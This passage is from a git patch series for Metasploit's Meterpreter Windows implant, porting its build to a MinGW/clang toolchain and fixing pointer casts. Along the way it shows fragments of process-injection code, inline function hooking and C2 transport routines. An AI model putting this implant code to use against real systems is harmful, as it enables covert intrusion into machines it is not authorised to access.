+++ b/c/meterpreter/source/metsrv/server_transport_tcp.c
@@ -308,7 +308,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
 	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
 	Packet *localPacket = NULL;
 	PacketHeader header = { 0 };
-	LONG bytesRead;
+	DWORD bytesRead;
 	BOOL inHeader = TRUE;
 	PUCHAR packetBuffer = NULL;
 	ULONG payloadLength;
@@ -320,7 +320,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
 	// Read the packet length
 	while (inHeader)
 	{
-		if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
+		if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
 		{
 			SetLastError(ERROR_NOT_FOUND);
 			goto out;
@@ -425,7 +425,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
 		// Read the payload
 		while (payloadBytesLeft > 0)
 		{
-			if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0)
+			if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0)
 			{
 
 				if (GetLastError() == WSAEWOULDBLOCK)
@@ -689,7 +689,7 @@ static void transport_reset_tcp(Transport* transport, BOOL shuttingDown)
  * @param transport Pointer to the transport instance.
  * @return Indication of success or failure.
  */
-static BOOL configure_tcp_connection(Transport* transport)
+static DWORD configure_tcp_connection(Transport* transport)
 {
 	DWORD result = ERROR_SUCCESS;
 	size_t charsConverted;
@@ -751,17 +751,18 @@ static BOOL configure_tcp_connection(Transport* transport)
 	if (result != ERROR_SUCCESS)
 	{
 		dprintf("[SERVER] Something went wrong %u", result);
-		return FALSE;
+	}
+  else
+  {
+		dprintf("[SERVER] Looking good, FORWARD!");
+
+		// Do not allow the file descriptor to be inherited by child processes
+		SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
+
+		transport->comms_last_packet = current_unix_timestamp();
 	}
 
-	dprintf("[SERVER] Looking good, FORWARD!");
-
-	// Do not allow the file descriptor to be inherited by child processes
-	SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
-
-	transport->comms_last_packet = current_unix_timestamp();
-
-	return TRUE;
+	return result;
 }
 
 /*!
@@ -781,7 +782,7 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt
 
 	while (idx < rawPacketLength)
 	{
-		result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0);
+		result = send(ctx->fd, (PCHAR)(rawPacket + idx), rawPacketLength - idx, 0);
 
 		if (result < 0)
 		{
diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c
index 97a8b3ad..88336f7b 100644
--- a/c/meterpreter/source/metsrv/server_transport_winhttp.c
+++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c
@@ -127,7 +127,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
 		if (ctx->proxy_user)
 		{
 			dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user);
-			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user))));
+			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user))))
 			{
 				dprintf("[%s] Failed to set username %u", direction, GetLastError());
 			}
@@ -135,7 +135,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
 		if (ctx->proxy_pass)
 		{
 			dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass);
-			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass))));
+			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass))))
 			{
 				dprintf("[%s] Failed to set password %u", direction, GetLastError());
 			}
@@ -336,7 +336,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet)
 	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
 	Packet *localPacket = NULL;
 	PacketHeader header;
-	LONG bytesRead;
+	DWORD bytesRead;
 	BOOL inHeader = TRUE;
 	PUCHAR packetBuffer = NULL;
 	ULONG payloadLength;
@@ -541,7 +541,7 @@ out:
  * @param transport Pointer to the transport instance.
  * @return Indication of success or failure.
  */
-static BOOL server_init_winhttp(Transport* transport)
+static DWORD server_init_winhttp(Transport* transport)
 {
 	URL_COMPONENTS bits;
 	wchar_t tmpHostName[URL_SIZE];
@@ -564,7 +564,7 @@ static BOOL server_init_winhttp(Transport* transport)
 	if (!ctx->internet)
 	{
 		dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
-		return FALSE;
+		return GetLastError();
 	}
 
 	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@@ -597,12 +597,12 @@ static BOOL server_init_winhttp(Transport* transport)
 	if (!ctx->connection)
 	{
 		dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
-		return FALSE;
+		return GetLastError();
 	}
 
 	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
 
-	return TRUE;
+	return ERROR_SUCCESS;
 }
 
 /*!
diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c
index 0d47688f..923820b3 100644
--- a/c/meterpreter/source/metsrv/server_transport_wininet.c
+++ b/c/meterpreter/source/metsrv/server_transport_wininet.c
@@ -141,7 +141,7 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx)
  * @param transport Pointer to the transport instance.
  * @return Indication of success or failure.
  */
-static BOOL server_init_wininet(Transport* transport)
+static DWORD server_init_wininet(Transport* transport)
 {
 	URL_COMPONENTS bits;
 	wchar_t tmpHostName[URL_SIZE];
@@ -164,7 +164,7 @@ static BOOL server_init_wininet(Transport* transport)
 	if (!ctx->internet)
 	{
 		dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
-		return FALSE;
+		return GetLastError();
 	}
 
 	dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@@ -197,7 +197,7 @@ static BOOL server_init_wininet(Transport* transport)
 	if (!ctx->connection)
 	{
 		dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
-		return FALSE;
+		return GetLastError();
 	}
 
 	if (ctx->proxy)
@@ -214,7 +214,7 @@ static BOOL server_init_wininet(Transport* transport)
 
 	dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
 
-	return TRUE;
+	return ERROR_SUCCESS;
 }
 
 /*!
diff --git a/c/meterpreter/source/metsrv/thread.c b/c/meterpreter/source/metsrv/thread.c
index 47c15750..b171428a 100644
--- a/c/meterpreter/source/metsrv/thread.c
+++ b/c/meterpreter/source/metsrv/thread.c
@@ -195,10 +195,10 @@ void disable_thread_error_reporting()
 	}
 }
 
-static DWORD THREADCALL thread_preamble(THREAD* thread)
+static ULONG THREADCALL thread_preamble(THREAD* thread)
 {
 	disable_thread_error_reporting();
-	return thread->funk(thread);
+	return (ULONG)thread->funk(thread);
 }
 
 /*
@@ -233,7 +233,7 @@ THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID para
 	thread->parameter3 = param3;
 	thread->funk = funk;
 
-	thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
+	thread->handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
 
 	if (thread->handle == NULL)
 	{
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 09b30b65..237b4e4b 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -2,23 +2,36 @@ cmake_minimum_required(VERSION 3.15.7 FATAL_ERROR)
 
 set(PROJECT_NAME meterpreter)
 
-cmake_policy(SET CMP0091 NEW)
+if(MSVC)
+    cmake_policy(SET CMP0091 NEW)
+else()
+    set(_MSC_VER 1910)
+    include("x86_64-w64-mingw32-clang.cmake")
+endif()
+
 project(${PROJECT_NAME} C CXX)
 
 option(DBGTRACE "Enable debug tracing" OFF)
 option(DBGTRACE_VERBOSE "Enable verbose debug tracing" OFF)
 option(BUILD_SNIFFER "Build the sniffer extension (requires PSSDK)" OFF)
 option(USE_STATIC_MSVC_RUNTIMES "Use /MT instead of /MD in MSVC" ON)
-if( USE_STATIC_MSVC_RUNTIMES )
-    set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
+
+if(USE_STATIC_MSVC_RUNTIMES)
+    if(MSVC)
+        set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
+    endif()
 endif()
 
 set(WORKSPACE_ROOT_DIR ${PROJECT_SOURCE_DIR})
-set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def)
-set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output)
-set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk)
+set(MOD_DEF_DIR ${PROJECT_SOURCE_DIR}/../source/def/)
+set(BIN_OUTPUT_DIR ${PROJECT_SOURCE_DIR}/../output/)
+set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk/)
 
-if(CMAKE_GENERATOR_PLATFORM MATCHES "Win32")
+if(MSVC)
+    set(BUILD_ARCH ${CMAKE_GENERATOR_PLATFORM})
+endif()
+
+if(BUILD_ARCH MATCHES "Win32")
     set(TARGET_ARCH "x86")
     set(IS_X86 true)
     set(IS_X64 false)
@@ -39,12 +52,14 @@ set(IS_RELEASE true)
 set(IS_DEBUG false)
 
 if(CMAKE_BUILD_TYPE MATCHES "Release")
-    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX")
-    set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc")
-    string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
-    string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
-    string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
-    string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
+    if(MSVC)
+        set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX")
+        set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc")
+        string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
+        string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
+        string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
+        string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
+    endif()
 else()
     # We only support "Release" or "Debug"
     set(CMAKE_BUILD_TYPE "Debug")
@@ -52,6 +67,10 @@ else()
     set(IS_DEBUG true)
 endif()
 
+set(CMAKE_C_COMPILE_OPTIONS_PIC "")
+set(CMAKE_SHARED_LIBRARY_PREFIX "")
+set(CMAKE_SHARED_LIBRARY_SUFFIX ".dll")
+
 add_definitions(
     -DNDEBUG
     -D_WINDOWS
@@ -110,13 +129,13 @@ set(
 set(
     MET_DLLS
     ${MET_SERVERS}
-    ${MET_PLUGINS}
-    ${MET_EXTENSIONS}
+    #${MET_PLUGINS}
+    #${MET_EXTENSIONS}
 )
 
 set(
     MET_PROJECTS
-    ${MET_LIBS}
+    #${MET_LIBS}
     ${MET_DLLS}
 )
 
diff --git a/c/meterpreter/workspace/CMakeListsFuncs.txt b/c/meterpreter/workspace/CMakeListsFuncs.txt
index c661a284..d7a91556 100644
--- a/c/meterpreter/workspace/CMakeListsFuncs.txt
+++ b/c/meterpreter/workspace/CMakeListsFuncs.txt
@@ -1,6 +1,10 @@
 function(editbin)
-    add_custom_command(TARGET ${ARGV0} POST_BUILD
-        COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL)
+    if(MSVC)
+        add_custom_command(TARGET ${ARGV0} POST_BUILD
+            COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL)
+    else()
+    # TODO: add implementation for mingw
+    endif()
 endfunction()
 
 function(copyoutput)
diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt
index 418616e1..90e351bf 100644
--- a/c/meterpreter/workspace/metsrv/CMakeLists.txt
+++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt
@@ -11,10 +11,12 @@ add_definitions(
     -D_CRT_SECURE_NO_WARNINGS
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
+endif()
 
 include_directories(../../source/common)
-include_directories(../../source/ReflectiveDllInjection/common)
+include_directories(../../source/ReflectiveDLLInjection/common)
 
 set(SRC_DIR ../../source/metsrv)
 file(GLOB SRC_FILES
@@ -23,15 +25,22 @@ file(GLOB SRC_FILES
 )
 add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
 set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
-set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"")
-set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE)
+if(MSVC)
+    set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/metsrv.def\"")
+    set_source_files_properties(${MOD_DEF_DIR}/metsrv.def PROPERTIES HEADER_FILE_ONLY TRUE)
+endif()
 
 set(LINK_LIBS winhttp wininet crypt32)
-target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
+
 if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
+else()
+  set(LINK_LIBS ${LINK_LIBS} ws2_32)
+  target_link_options(${PROJECT_NAME} PUBLIC -v)
 endif()
 
+target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
+
 # Post processing (required for all Meterpreter DLLs)
 editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
 copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake b/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake
new file mode 100644
index 00000000..13e29613
--- /dev/null
+++ b/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake
@@ -0,0 +1,20 @@
+set(CMAKE_SYSTEM_NAME Windows)
+
+set(CMAKE_TOOLCHAIN_PREFIX "x86_64-w64-mingw32")
+
+find_program(CMAKE_RC_COMPILER  NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
+find_program(CMAKE_C_COMPILER   NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
+find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
+find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
+find_program(CMAKE_DLL_TOOL NAMES ${CMAKE_TOOLCHAIN_PREFIX}-dlltool)
+
+set(CMAKE_C_COMPILER_EXTRAS "-target ${CMAKE_TOOLCHAIN_PREFIX} -isystem /usr/${CMAKE_TOOLCHAIN_PREFIX}/include -isystem /usr/local/${CMAKE_TOOLCHAIN_PREFIX}/include -fmsc-version=${_MSC_VER} -fms-extensions -fms-compatibility -fdelayed-template-parsing -Wfatal-errors")
+set(CMAKE_C_COMPILER   "clang"   "${CMAKE_C_COMPILER_EXTRAS}")
+set(CMAKE_CXX_COMPILER "clang++" "${CMAKE_C_COMPILER_EXTRAS} -std=c++14")
+
+set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
+
+set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
+set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
+set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
+set(CMAKE_CROSS_COMPILING TRUE)

From aa3b58628f985153dca7c4a3c5e74fa14666be85 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 21 May 2020 15:31:21 +1000
Subject: [PATCH 04/28] Get rid of the clang noise

---
 c/meterpreter/Makefile                        |  5 ++-
 .../source/extensions/stdapi/server/fs/dir.c  |  2 ++
 c/meterpreter/source/metsrv/base_inject.c     |  4 +--
 c/meterpreter/source/metsrv/libloader.c       |  9 +++--
 c/meterpreter/source/metsrv/server_setup.c    |  2 +-
 c/meterpreter/workspace/CMakeLists.txt        | 36 +++++++++++--------
 c/meterpreter/workspace/jpeg/CMakeLists.txt   |  4 ++-
 c/meterpreter/workspace/metsrv/CMakeLists.txt |  1 -
 .../workspace/x86_64-w64-mingw32-clang.cmake  | 20 -----------
 .../workspace/x86_64-w64-mingw32.cmake        | 24 +++++++++++++
 10 files changed, 62 insertions(+), 45 deletions(-)
 delete mode 100644 c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake
 create mode 100644 c/meterpreter/workspace/x86_64-w64-mingw32.cmake

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index 98e5d717..fd855696 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -8,10 +8,13 @@ meterpreter: meterpreter-x64
 meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
 
 meterpreter-x64-gen:
-	cmake -G 'Unix Makefiles' -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DSTATIC_LINKAGE=ON -DUSE_STATIC_MSVC_RUNTIMES=ON -DDBGTRACE=ON
+	cmake -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=x86_64-w64-mingw32.cmake -DDBGTRACE=ON
 
 meterpreter-x64-build:
 	cmake --build workspace/build/mingw-x64 --config Release
 
 meterpreter-x64-clean:
 	@rm -rf workspace/build/mingw-x64
+
+install:
+	@cp output/*.dll ../../../metasploit-framework/data/meterpreter
diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c
index 06876bfc..b7acb1a2 100644
--- a/c/meterpreter/source/extensions/stdapi/server/fs/dir.c
+++ b/c/meterpreter/source/extensions/stdapi/server/fs/dir.c
@@ -50,6 +50,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
  */
 DWORD request_fs_getwd(Remote * remote, Packet * packet)
 {
+  dprintf("[fs_getwd] running ...");
 	Packet *response = met_api->packet.create_response(packet);
 	char *directory = NULL;
 	DWORD result;
@@ -59,6 +60,7 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
 		met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
 		free(directory);
 	}
+  dprintf("[fs_getwd] Done");
 
 	return met_api->packet.transmit_response(result, remote, response);
 }
diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c
index cef09684..6a957a41 100644
--- a/c/meterpreter/source/metsrv/base_inject.c
+++ b/c/meterpreter/source/metsrv/base_inject.c
@@ -386,7 +386,7 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
 
 		// Transition this wow64 process into native x64 and call pX64function( ctx )
 		// The native function will use the native Win64 API's to create a remote thread in the target process.
-		if( !pExecuteX64( pX64function, (DWORD)ctx ) )
+		if( !pExecuteX64( pX64function, (DWORD)(DWORD_PTR)ctx ) )
 		{
 			SetLastError( ERROR_ACCESS_DENIED );
 			BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
@@ -539,7 +539,7 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR ref
 			BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); 
 
 		// add the offset to ReflectiveLoader() to the remote library address...
-		lpReflectiveLoader = (LPVOID)(DWORD_PTR)((DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset);
+		lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
 	
 		// First we try to inject by directly creating a remote thread in the target process
 		if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
diff --git a/c/meterpreter/source/metsrv/libloader.c b/c/meterpreter/source/metsrv/libloader.c
index a1823a0c..2bbc0f4a 100644
--- a/c/meterpreter/source/metsrv/libloader.c
+++ b/c/meterpreter/source/metsrv/libloader.c
@@ -336,8 +336,7 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
 	WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
 		bytes, &written);
 	*(PBYTE)(stub + bytes) = 0xE9;
-	*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);
-
+	*(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5));
 
 	/* Patch original function */
 
@@ -349,7 +348,7 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
 
 	/* Insert jump */
 	*(PBYTE)address = 0xE9;
-	*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5);
+	*(DWORD *)(address + 1) = (DWORD_PTR)hook - ((DWORD_PTR)address + 5);
 
 
 	/* Restore protection */
@@ -513,14 +512,14 @@ void map_file(SHELLCODE_CTX *ctx)
 	 * First, try to map the file at ImageBase
 	 *
 	 */
-	ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
+	ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
 		nt->OptionalHeader.SizeOfImage,
 		MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
 
 	/* No success, let the system decide..  */
 	if (ctx->mapped_address == 0) {
-		ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL,
+		ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL,
 			nt->OptionalHeader.SizeOfImage,
 			MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c
index 309fdcdd..faede0fd 100644
--- a/c/meterpreter/source/metsrv/server_setup.c
+++ b/c/meterpreter/source/metsrv/server_setup.c
@@ -426,7 +426,7 @@ DWORD server_setup(MetsrvConfig* config)
 					dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
 					// Each transport has its own set of retry settings and each should honour
 					// them individually.
-					if (!remote->transport->transport_init(remote->transport))
+					if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
 					{
 						dprintf("[SERVER] transport initialisation failed, moving to the next transport");
 						remote->transport = remote->transport->next_transport;
diff --git a/c/meterpreter/workspace/CMakeLists.txt b/c/meterpreter/workspace/CMakeLists.txt
index 237b4e4b..0b047e5d 100644
--- a/c/meterpreter/workspace/CMakeLists.txt
+++ b/c/meterpreter/workspace/CMakeLists.txt
@@ -4,9 +4,6 @@ set(PROJECT_NAME meterpreter)
 
 if(MSVC)
     cmake_policy(SET CMP0091 NEW)
-else()
-    set(_MSC_VER 1910)
-    include("x86_64-w64-mingw32-clang.cmake")
 endif()
 
 project(${PROJECT_NAME} C CXX)
@@ -29,6 +26,10 @@ set(PSSDK_DIR ${PROJECT_SOURCE_DIR}/../../../../pssdk/)
 
 if(MSVC)
     set(BUILD_ARCH ${CMAKE_GENERATOR_PLATFORM})
+else()
+    set(CMAKE_C_COMPILE_OPTIONS_PIC "")
+    set(CMAKE_SHARED_LIBRARY_PREFIX "")
+    set(CMAKE_SHARED_LIBRARY_SUFFIX ".dll")
 endif()
 
 if(BUILD_ARCH MATCHES "Win32")
@@ -43,6 +44,8 @@ else()
     set(BIN_SUBSYSTEM "5.01")
 endif()
 
+set(CMAKE_LIBRARY_ARCHITECTURE ${TARGET_ARCH} CACHE STRING "" FORCE)
+
 if(NOT CMAKE_BUILD_TYPE)
     set(CMAKE_BUILD_TYPE "Release")
     message(STATUS "Build Type not specified, defaulting to 'Release'.")
@@ -67,10 +70,6 @@ else()
     set(IS_DEBUG true)
 endif()
 
-set(CMAKE_C_COMPILE_OPTIONS_PIC "")
-set(CMAKE_SHARED_LIBRARY_PREFIX "")
-set(CMAKE_SHARED_LIBRARY_SUFFIX ".dll")
-
 add_definitions(
     -DNDEBUG
     -D_WINDOWS
@@ -129,15 +128,24 @@ set(
 set(
     MET_DLLS
     ${MET_SERVERS}
-    #${MET_PLUGINS}
-    #${MET_EXTENSIONS}
+    ${MET_PLUGINS}
+    ${MET_EXTENSIONS}
 )
 
-set(
-    MET_PROJECTS
-    #${MET_LIBS}
-    ${MET_DLLS}
-)
+if(MSVC)
+    set(
+        MET_PROJECTS
+        ${MET_LIBS}
+        ${MET_DLLS}
+    )
+else()
+    # Still working slowly on non-MSVC builds
+    set(
+        MET_PROJECTS
+        ${MET_LIBS}
+        ${MET_SERVERS}
+    )
+endif()
 
 foreach(MET_PROJECT ${MET_PROJECTS})
     add_subdirectory(${MET_PROJECT})
diff --git a/c/meterpreter/workspace/jpeg/CMakeLists.txt b/c/meterpreter/workspace/jpeg/CMakeLists.txt
index 86c09596..47d5d678 100644
--- a/c/meterpreter/workspace/jpeg/CMakeLists.txt
+++ b/c/meterpreter/workspace/jpeg/CMakeLists.txt
@@ -7,7 +7,9 @@ add_definitions(
     -D_CRT_SECURE_NO_WARNINGS
 )
 
-set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP")
+if(MSVC)
+    set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GF /Gy /TP /MP")
+endif()
 
 set(SRC_DIR ../../source/jpeg-8)
 set(
diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt
index 90e351bf..c9db4e22 100644
--- a/c/meterpreter/workspace/metsrv/CMakeLists.txt
+++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt
@@ -36,7 +36,6 @@ if(MSVC)
     target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
 else()
   set(LINK_LIBS ${LINK_LIBS} ws2_32)
-  target_link_options(${PROJECT_NAME} PUBLIC -v)
 endif()
 
 target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake b/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake
deleted file mode 100644
index 13e29613..00000000
--- a/c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake
+++ /dev/null
@@ -1,20 +0,0 @@
-set(CMAKE_SYSTEM_NAME Windows)
-
-set(CMAKE_TOOLCHAIN_PREFIX "x86_64-w64-mingw32")
-
-find_program(CMAKE_RC_COMPILER  NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
-find_program(CMAKE_C_COMPILER   NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
-find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
-find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
-find_program(CMAKE_DLL_TOOL NAMES ${CMAKE_TOOLCHAIN_PREFIX}-dlltool)
-
-set(CMAKE_C_COMPILER_EXTRAS "-target ${CMAKE_TOOLCHAIN_PREFIX} -isystem /usr/${CMAKE_TOOLCHAIN_PREFIX}/include -isystem /usr/local/${CMAKE_TOOLCHAIN_PREFIX}/include -fmsc-version=${_MSC_VER} -fms-extensions -fms-compatibility -fdelayed-template-parsing -Wfatal-errors")
-set(CMAKE_C_COMPILER   "clang"   "${CMAKE_C_COMPILER_EXTRAS}")
-set(CMAKE_CXX_COMPILER "clang++" "${CMAKE_C_COMPILER_EXTRAS} -std=c++14")
-
